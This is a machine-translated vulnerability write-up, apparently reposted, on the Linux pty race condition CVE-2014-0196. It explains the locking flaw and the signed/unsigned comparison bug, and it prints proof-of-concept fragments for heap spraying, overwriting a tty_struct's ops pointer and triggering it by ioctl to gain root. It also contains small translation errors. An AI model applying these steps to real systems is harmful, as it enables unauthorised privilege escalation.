Pty/tty device Race Condition Vulnerability (CVE-2014-0196), ptycve-2014-0196

Source: Internet
Author: User
Tags cve

Pty/tty device Race Condition Vulnerability (CVE-2014-0196), ptycve-2014-0196
Prerequisites

1. pty/tty. A product with a long history, mainly used for terminal input and output. Introductory article: http://www.linusakesson.net/programming/tty/

2. slab. It is mainly used to allocate memory of a specific size to prevent memory fragments and holes. It is similar to Lookaside in windows kernel. Baidu encyclopedia related articles: http://baike.baidu.com/view/5870164.htm? Fr = aladdin

 

CVE-2014-0196

This vulnerability is said to have been hidden in the linux kernel for five years. With the rise of android, more and more people are studying linux. kernel vulnerabilities in linux are also discovered by security personnel.

The main cause of this vulnerability is that the pty/tty device driver does not properly lock some resources, resulting in a conditional competition bug in the concurrent status.


Main vulnerability Cause Structure

First, let's look at several important structures:

struct tty_buffer {    struct tty_buffer *next;    char *char_buf_ptr;    unsigned char *flag_buf_ptr;    int used;    int size;    int commit;    int read;    /* Data points here */    unsigned long data[0];};

Tty_buffer is a dynamic object. The pointer char_buf_ptr usually points to the first byte of data, and the flag_buf_ptr Pointer Points to the data + size position. The value of size can generally be 256,512,768,102, (TTY_BUFFER_PAGE ).

Therefore, the actual size of the tty_buffer object is 2 * size + sizeof (tty_buffer ). 2 * size is mainly because of the contents of char_buf and flag_buf. So tty_buffer may be stored in the following Kernel Heap slab: kmalloc-1024, kmalloc-2048, kmalloc-4096.


struct tty_bufhead {    struct work_struct work;    spinlock_t lock;    struct tty_buffer *head;    /* Queue head */    struct tty_buffer *tail;    /* Active buffer */    struct tty_buffer *free;    /* Free queue head */    int memory_used;        /* Buffer space used excluding free queue */};

As the name suggests, the tty_bufhead structure is the chain table head of each tty_buffer. At the same time, the tail field also points to the last, that is, the currently active tty_buffer. The number of bytes stored in the idle linked list is usually less than 512 bytes.


struct tty_struct {    int magic;    struct kref kref;    struct device *dev;    struct tty_driver *driver;    const struct tty_operations *ops;    /* ... */    struct tty_bufhead buf;  /* Locked internally */    /* ... */};

The tty_struct Data Structure identifies a tty/pty in the kernel. The buf field is the preceding tty_bufhead data structure.


Key Function Analysis

The problem mainly lies in the function tty_insert_flip_string_fixed_flag. The function call stack is roughly as follows:

Write (pty_fd) in userspace->

Sys_write () in kernelspace->

Tty_write ()->

Pty_write ()->

Tty_insert_flip_string_fixed_flag ()

 

The Code is as follows:

int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,        const unsigned char *chars, char flag, size_t size){    int copied = 0;    do {        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);        int space = tty_buffer_request_room(tty, goal);         /* -1- */        struct tty_buffer *tb = tty->buf.tail;        /* If there is no space then tb may be NULL */        if (unlikely(space == 0))            break;        memcpy(tb->char_buf_ptr + tb->used, chars, space);      /* -2- */        memset(tb->flag_buf_ptr + tb->used, flag, space);               tb->used += space;                                     /* -3- */        copied += space;        chars += space;        /* There is a small chance that we need to split the data over           several buffers. If this is the case we must loop */    } while (unlikely(size > copied));    return copied;}

The logic of this function is very simple. Call the tty_buffer_request_room function in-1 to determine whether there is idle memory. If not, apply.

-2-copy the content transmitted from the application layer to tty_buffer.

-3-increment tty_buffer. used bytes.

 

Next let's take a look at the implementation of the tty_buffer_request_room function:

int tty_buffer_request_room(struct tty_struct *tty, size_t size){    struct tty_buffer *b, *n;    int left;                                   /* -1- */    unsigned long flags;    spin_lock_irqsave(&tty->buf.lock, flags);   /* -2- */    /* OPTIMISATION: We could keep a per tty "zero" sized buffer to       remove this conditional if its worth it. This would be invisible       to the callers */    if ((b = tty->buf.tail) != NULL)        left = b->size - b->used;               /* -3- */    else        left = 0;    if (left < size) {                          /* -4- */        /* This is the slow path - looking for new buffers to use */        if ((n = tty_buffer_find(tty, size)) != NULL) {            if (b != NULL) {                b->next = n;                b->commit = b->used;            } else                tty->buf.head = n;            tty->buf.tail = n;        } else            size = left;    }    spin_unlock_irqrestore(&tty->buf.lock, flags);    return size;}

We can see that the second size parameter passed in by the tty_buffer_request_room function is a size_t type parameter, and size_t is actually an unsignedlong. Let's take a look at the left at-1 as an int type, that is, a signed integer.

-2-there is a spin lock at the point, but the lock protection range is too small, which is also one of the important reasons for the establishment of our competitive conditions.

-4-here is a comparison of if (left <size), but as previously mentioned, left is an int type with a signed number, while size is an unsigned number. Where does the left value come from?-3-left = B-> size-B-> used; when B-> size> B-> use, left may be a negative number. -4-in comparison, if a negative number is compared with an unsigned number, it is converted into an unsigned number. Therefore, if the condition is not true, the function assumes that the buffer space is sufficient, so no space is allocated.

 

As mentioned above, there may be some abstractions. I specially wrote a test program with the following code:

#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){int a = -1;size_t b = 10;if (a < b)printf("%d < %d", a, b);elseprintf("%d > %d", a, b);getchar();return 0;}

The program output is as follows:

After reading this example, the comparison of the above tty_buffer_request_room function is clear. But when can we make the left (left = B-> size-B-> used) of the int type be negative, that is, B-> size <B-> used. Here is a scenario where the competition conditions are established:


It can be seen that the biggest way to win the competition is that when the B process enters the tty_buffer_request_room function and calculates the left value, the process has not urgently updated the tb-> used value.

Because the execution of the memcpy function takes a long time, the above assumptions are likely to meet the competition conditions.

When tty_buffer is fully written, that is, tb-> used> tb-> size, we can control subsequent write operations to the adjacent tty_struct.


How to Use

Poc mainly to kmalloc-1024 as an example:
1. First create a target tty_struct for overflow.

if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}

2. Create 30 tty_struct so that the slab heap is arranged in order.

#define RUN_ALLOCS    30for (j = 0; j < RUN_ALLOCS; ++j)if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {puts("\n[-] pty creation failed");return 1;}

3. The creation thread starts to overflow.

void *overwrite_thread_fn(void *p) {    write(slave_fd, buf, 511);    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));    write(slave_fd, &overwrite, sizeof(overwrite));}

The first two sentences are mainly used to fill up an slab, with 32 bytes representing sizeof (structtty_buffer ). The last write (slave_fd, & overwrite, sizeof (overwrite) statement. If you win the competition, it will overwrite the several bytes starting with salb, so the tty_struct is rewritten. The tty_struct structure contains an ops Member, which is a pointer array. Each element corresponds to operations on a tty device, such as open (), close (), and ioct ().

Each element of the overwrite pointer array points to payload. If you perform open and ioctl operations on each device, you will have the opportunity to trigger the overflow tty_struct to obtain the root permission.


4. Trigger payload

for (j = 0; j < RUN_ALLOCS; ++j) {if (j == RUN_ALLOCS / 2)continue;ioctl(fds[j], 0xdeadbeef);ioctl(fds2[j], 0xdeadbeef);close(fds[j]);close(fds2[j]);}ioctl(master_fd, 0xdeadbeef);ioctl(slave_fd, 0xdeadbeef);

Vulnerability repair

The patch is simple, that is, a lock is applied to the outer layer of tty write.

..


References

Http://www.linusakesson.net/programming/tty/

Http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

Https://github.com/jocover/CVE-2014-0196/blob/master/cve-2014-0196-md.c
















Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.